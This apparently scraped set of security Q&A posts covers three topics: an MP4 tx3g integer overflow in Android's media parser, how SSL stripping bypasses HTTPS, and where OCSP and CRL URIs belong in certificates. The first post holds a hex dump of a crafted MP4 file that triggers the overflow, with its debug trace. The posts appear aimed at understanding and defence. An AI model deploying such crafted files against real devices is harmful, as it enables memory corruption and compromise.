            kKeyTextFormatData, &type, &data, &size)) {
        size = 0;
    }
    uint8_t *buffer = new uint8_t[size + chunk_size]; // <---- Integer overflow here
    if (size > 0) {
        memcpy(buffer, data, size);                   // <---- Oh dear.
    }
    if ((size_t)(mDataSource->readAt(*offset, buffer + size, chunk_size))
            < chunk_size) {
        delete[] buffer;
        buffer = NULL;
        return ERROR_IO;
    }
    mLastTrack->meta->setData(
            kKeyTextFormatData, 0, buffer, size + chunk_size);
    delete[] buffer;
    *offset += chunk_size;
    break;
}

Note  that chunk_size is a uint64_t that is parsed from the file; it’s completely controlled by the attacker and is not validated with regards to the remaining data available in the file.

If we try to exploit it with such a MP4 file:

0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
0000010: 6973 6f6d 0000 0020 7472 616b 0000 0018  isom... trak....
0000020: 7478 3367 4141 4141 4141 4141 4141 4141  tx3gAAAAAAAAAAAA
0000030: 4141 4141 0000 0001 7478 3367 ffff ffff  AAAA....tx3g....
0000040: ffff ffff 4242 4242 4242 4242 4242 4242  ....BBBBBBBBBBBB
0000050: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
0000060: 4242 4242                                BBBB

This should happen while debugging:

MPEG4Extractor: Identified supported mpeg4 through LegacySniffMPEG4.
MPEG4Extractor: trak: new Track[20] (0xb6048160)
MPEG4Extractor: trak: mLastTrack = 0xb6048160
MPEG4Extractor: tx3g: size 0 chunk_size 24
MPEG4Extractor: tx3g: new[24] (0xb6048130)
MPEG4Extractor: tx3g: mDataSource->readAt(*offset, 0xb6048130, 24)
MPEG4Extractor: tx3g: size 24 chunk_size 18446744073709551615
MPEG4Extractor: tx3g: new[23] (0xb6048130)
MPEG4Extractor: tx3g: memcpy(0xb6048130, 0xb6048148, 24)
MPEG4Extractor: tx3g: mDataSource->readAt(*offset, 0xb6048148, 18446744073709551615)

Here is my question:

If I set the Chunk size to 0xffffffffffffffff, why is it being interpreted as "-1", so in this code "24-1", so "23" in this code:

uint8_t *buffer = new uint8_t[size + chunk_size]; // <---- Integer overflow here

I see it here in debug:

MPEG4Extractor: tx3g: new[23] (0xb6048130)

and not "24+18446744073709551615", which I think should result in "0"?

Maybe I didn't explain it well enough or have some thinking error, here is the link to original blog entry explaining this Integer Overflow.

Simply test it yourself by writing easy CPP files, which is probably self explaining:

In this example you would even only allocate a buffer of size 1.


SSL Strip Injection Point I am reading up on SSL stripping and I have a fundamental question on the injection point that makes this MITM attack a success. I understand the typical scenario -

  A (victim) <-- plain --> M (MITM) <== SSL ==> B (Server)

Now, lets assume M and A are on the same coffee shop wifi network and M starts proxying A's traffic by ARP poisoning etc. If A is accessing B over SSL, then the traffic M intercepts is encrypted. How is M able to replace HTTPS with HTTP, strip HSTS headers and so on when all he has to work with is an encrypted stream? I imagine the entire payload, including the URL (which would include the protocol 'https://'), is encrypted.

In other words, where is the injection point from which stripping/manipulating encrypted data becomes possible? Does it happen further down on the network stack? Would M be able to switch protocol at the packet level?

Some posts talk about packet capture certs but I'm not sure if there is a well-accepted way to strip SSL without being able to decrypt the data.

How is M able to replace HTTPS with HTTP, strip HSTS headers and so on when all he has to work with is an encrypted stream?

They can't. An SSL strip attack needs an initially unencrypted stream to work with. It bypasses SSL rather than attacking it. The idea is to prevent your browser from initiating an HTTPS connection by turning redirects and links to HTTPS pages into plain HTTP ones. Alternatively, they can also redirect you to an actual HTTPS page but change the domain name to a similar one which is owned by the attacker (e.g. https://faceboook.com). This has benefit of still showing the green SSL indicator lock (but a false domain name).

A common injection point would be when a user first types mybank.com into the address bar and (given the site is not in the HSTS preload list) the browser first starts with a regular HTTP request where they would receive an unencrypted response redirecting them to HTTPS. That response is usually the last time you can tamper with the traffic on the application layer.

HSTS is trust-on-first-use. If the attacker doesn't catch the victim on their very first plain HTTP connection attempt where it's still possible to strip the HSTS header then they will be unsuccessful in the future because the browser will prevent any plain HTTP until the HSTS header expires.


OCSP and CRLs: Specified in CA or client certificate? Here's an example PKI setup:

* Root CA (offline)
  * Issuing CA
    * Client 1
    * Client 2

I'd like to specify a CRL distribution point for CRLs generated by Root CA, and an OCSP URL for Issuing CA. So information about revoked client certificates is available only via OCSP. Information about a revoked Issuing CA (hopefully never needed) is available only via CRL.

The question is which one of these two ways is the correct way to communicate this policy:

* Root CA (CRL distribution point = http://...)
  * Issuing CA (OCSP = http://...)
    * Client 1
    * Client 2

or

* Root CA
  * Issuing CA (CRL distribution point = http://...)
    * Client 1 (OCSP = http://...)
    * Client 2 (OCSP = http://...)

Basically, I'm confused about who specifies URIs for obtaining revocation information. Is this specified in the CA's certificate, meaning "I'm the CA, and this is where I'll tell you about certificates I've issued that are no longer valid," or is this specified in the client certificate, meaning "if this certificate gets revoked, here's where you'll find out about it?"

I've looked through RFC 5280 and couldn't find a clear answer to this question. Most examples suggest that the second way is correct, but the first one seems to make more sense to me. Which one is it?

If the second way is correct, is there any reason to also specify CRL distribution points in the Root CA?

Short version: all the URI should be in the end-entity certificates.

For OCSP, the location of the OCSP responder should be specified in an Authority Information Access extension, which is described in section 4.2.2.1 of RFC 5280:

  The authority information access extension indicates how to access
     information and services for the issuer of the certificate in which
     the extension appears.

The OCSP responder able to give revocation information on a given EE certificate is part of a service of the CA, i.e. the issuer of the EE certificate. So the URI should be published as an extension of the EE certificate, as per the sentence quoted above.

For CRL, the primary role of the CRL Distribution Points extension is to segregate certificates into subsets, so that individual CRL may have a limited scope and remain short. This mechanism works by having the same "distribution point" appear in both the EE certificate (as part of a CRL Distribution Points extension) and the CRL which applies on that certificate (as part of an Issuing Distribution Point extension) (see section 4.2.1.13). Since distribution points contain "names" and names can be URI, it is customary to use such an URI as pointing to the place from where the CRL may be downloaded.

That OCSP responder and CRL download URI appear in the target certificate (the one whose revocation status is to be ascertained) makes sense: the corresponding servers are under the control of the issuing CA, so the URI are chosen by that CA, and can be set only in certificates whose contents are under control of the CA. The CA does not get to arbitrarily choose the contents of its own certificate: that certificate is issued by an upper CA (here, the "root CA"). Hence, the CA stuffs its URI into the certificate that it issues itself (the end-entity certificates).